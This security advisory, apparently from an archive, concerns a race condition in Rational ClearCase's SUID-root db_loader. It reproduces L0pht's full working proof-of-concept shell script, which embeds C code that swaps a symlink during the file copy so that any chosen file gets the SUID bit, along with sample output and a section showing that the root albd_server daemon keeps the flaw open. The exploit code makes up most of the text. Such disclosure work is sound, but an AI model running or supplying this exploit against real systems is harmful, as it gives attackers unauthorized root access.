COMMAND
ClearCase
SYSTEMS AFFECTED
Systems running Rational's ClearCase
PROBLEM
Following is based on L0pht Security Advisory and Oezguer Kesim.
ClearCase is a configuration management program from Rational
Software. Similar in some ways to CVS or Visual Source Safe.
The default installation of ClearCase installs the program
db_loader SUID root. One of the many security problems in this
program is a race condition which enables any user to add the SUID
bit to any file on the system. Example:
> ls -l /bin/ksh
-r-xr-xr-x 2 bin bin 186356 Jan 21 1998 /bin/ksh
> ./clear_waste.sh /bin/ksh
Clear Case proof of concept exploit code - mudge@l0pht.com 2.5.1999
one beer please!
creating race grinder....
created!
compiling race grinder...
compiled! Launching attack.... be patient
Looks succesfull!
-r-sr-xr-x 2 bin bin 186356 Jan 21 1998 /bin/ksh
don't forget to get rid of /var/tmp/cleartest
The database loader for pure atria is SUID root. A likely
candidate for mayhem and deliciousness. In addition it is around
1.5 megs in size - way beyond the size of manageability for a
program with elevated priveleges. Taking a quick look at the
binary shows plenty of places to exploit the default behaviour.
[output from a truss -f -a -e -o /usr/atria/sun5/etc/db_loader
/tmp]
1372: stat("/usr/atria/etc/db_dumper", 0xEFFFE400) = 0
1372: access("/tmp/db_dumper", 0) Err#2 ENOENT
1372: open("/usr/atria/etc/db_dumper", O_RDONLY) = 3
1372: open("/tmp/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 4
1372: read(3, "7F E L F010201\0\0\0\0\0".., 65536) = 65536
1372: write(4, "7F E L F010201\0\0\0\0\0".., 65536) = 65536
1372: read(3, " _ d e f a u l t\0 r _ t".., 65536) = 65536
..... you got it - they are copying db_dumper file to the
directory you specified.
1372: read(3, 0xEFFED690, 65536) = 0
1372: close(3) = 0
1372: fdsync(4, O_RDONLY|O_SYNC) = 0
1372: close(4) = 0
1372: utime("/tmp/db_dumper", 0xEFFFD6F0) = 0
1372: stat("/tmp/db_dumper", 0xEFFFE728) = 0
1372: chmod("/tmp/db_dumper", 0104555) = 0
And low and behold the ever popular chmod(2) call. So - we should
have plenty of time for the race condition since they are using
calls which only return the information that was true at that
explicit moment in time. This type of coding assumes that the
piece of information being checked is invariant.
/usr/atria/etc/db_dumper is also a ~1.5 meg file so we have plenty
of time to unlink and replace it while the copy is taking place.
Most likely it would be even eaiser as we imagine that they will
execute the program later on... as it is this machine did not have
a license server it was permited to communicate with so it bombs
out before any such what-not can happen. Exploit code
#!/bin/sh
#
# This is sample code that takes advantage of a race condition in
# Pure Atria's Clear Case db_loader program. The program will retain
# ownership of the file pointed to on the command line and have
# the clear case db_loader change the permissions to SUID
# .mudge@l0pht.com 2.5.1999
#
RACE_PROG=./clear_race
RACE_CODE=./clear_race.c
# you probabaly need to change the following to reflect your
# system and setup
#NICE=/usr/bin/nice
CC=/usr/local/bin/gcc
DB_LOADER=/usr/atria/sun5/etc/db_loader
RM=/bin/rm
LS=/bin/ls
MKDIR=/bin/mkdir
# you need to own the DEST DIR so you can delete files that you don't
# directly own
DEST_DIR=/var/tmp/cleartest.$$
if [ "$#" -ne "1" ] ; then
echo "usage: `basename $0` file_to_make_suid"
exit
fi
TARGET=$1
if [ ! -f ${TARGET} ] ; then
echo "target file must exist"
exit
fi
echo
echo "Clear Case proof of concept exploit code - mudge@l0pht.com 2.5.1999"
echo " one beer please!"
echo
${MKDIR} ${DEST_DIR}
if [ $? -gt 0 ] ; then
echo "go get rid of ${DEST_DIR} and try again..."
exit
fi
cd ${DEST_DIR}
# create the race runner
echo "creating race grinder...."
cat > ${RACE_CODE} << FOEFOE
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
main(int argc, char *argv[])
{
struct stat statbuf;
printf("%d\n", argc);
if (argc != 2){
printf("bzzzzt! - wrong usage\n");
exit(0);
}
while (1){
if (stat("./db_dumper", &statbuf) == 0){
unlink("./db_dumper");
symlink(argv[1], "./db_dumper");
exit(0);
}
}
}
FOEFOE
echo "created!"
echo
# compile it
echo "compiling race grinder..."
${CC} -O2 -o ${RACE_PROG} ${RACE_CODE}
if [ ! -f ${RACE_PROG} ] ; then
echo "compile failed?"
${RM} -f ${RACE_CODE}
exit
fi
echo "compiled! Launching attack.... be patient"
echo
${RACE_PROG} ${TARGET} &
# let us give the progie a second or two to load up and get the runtime
# crap set
sleep 2
#${NICE} -n 2 ${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1
# if you keep failing try the above and potentially increase the nice
value
${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1
if [ -u ${TARGET} ] ; then
echo "Looks succesfull!"
${LS} -l ${TARGET}
echo
echo "don't forget to get rid of ${DEST_DIR}"
echo
exit
fi
echo "doesn't look like it worked... "
echo "try again - after all it's a race condition!"
echo "don't forget to get rid of ${DEST_DIR}
echo
Now, things are even worse! You may want to remove the setuid
flag from /usr/atria/etc/db_loader, _but_ this won't fix the
problem -- just the exploit given by Dr. Mudge. Let's elaborate.
If we make a
# /usr/atria/bin/cleartool mkvob -tag /tmp/foo /tmp/foo.vbs
you'll notice that
# ls -l /tmp/foo.vbs/db/db_dumper
results
-r-sr-xr-x 1 root root 1526912 Jan 21 1998 db_dumper
While using the above command (cleartool mkvob ...) see what
albd_server actually makes:
# ps -A | grep albd
188 ? 0:08 albd_ser
Now, if you read the output of
truss -f -p 188
when the above command is used, you'll notice the following:
...
188: fork() = 14311
14311: fork() (returning as child ...) = 188
...
14311: execve("/usr/atria/etc/db_server", 0xEFFFED9C, 0xEFFFFF24) argc = 3
...
14311: stat("/usr/atria/etc/db_dumper", 0xEFFFE110) = 0
14311: access("/tmp/foo.vbs/db/db_dumper", 0) Err#2 ENOENT
14311: open("/usr/atria/etc/db_dumper", O_RDONLY) = 14
14311: open("/tmp/foo.vbs/db/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 15
14311: read(14, "7F E L F010201\0\0\0\0\0".., 65536) = 65536
14311: write(15, "7F E L F010201\0\0\0\0\0".., 65536) = 65536
...
14311: utime("/tmp/foo.vbs/db/db_dumper", 0xEFFFD400) = 0
14311: stat("/tmp/foo.vbs/db/db_dumper", 0xEFFFE438) = 0
14311: chmod("/tmp/foo.vbs/db/db_dumper", 0104555) = 0
In other words _exactly the same code as before_ !! But this
time in /usr/atria/etc/db_server and called by the daemon
albd_server running under uid root. Therefore, you can use the
exploit by l0pht after small modifiactions, _even_ if you remove
the setuid flag of /usr/atria/etc/db_loader.
# ldd /usr/atria/etc/db_server
libatriadb.so => /usr/atria/shlib/libatriadb.so
# strings /usr/atria/shlib/libatriadb.so | grep db_dumper
db_dumper
Most probably the whole code is written in here...
SOLUTION
Nothing yet.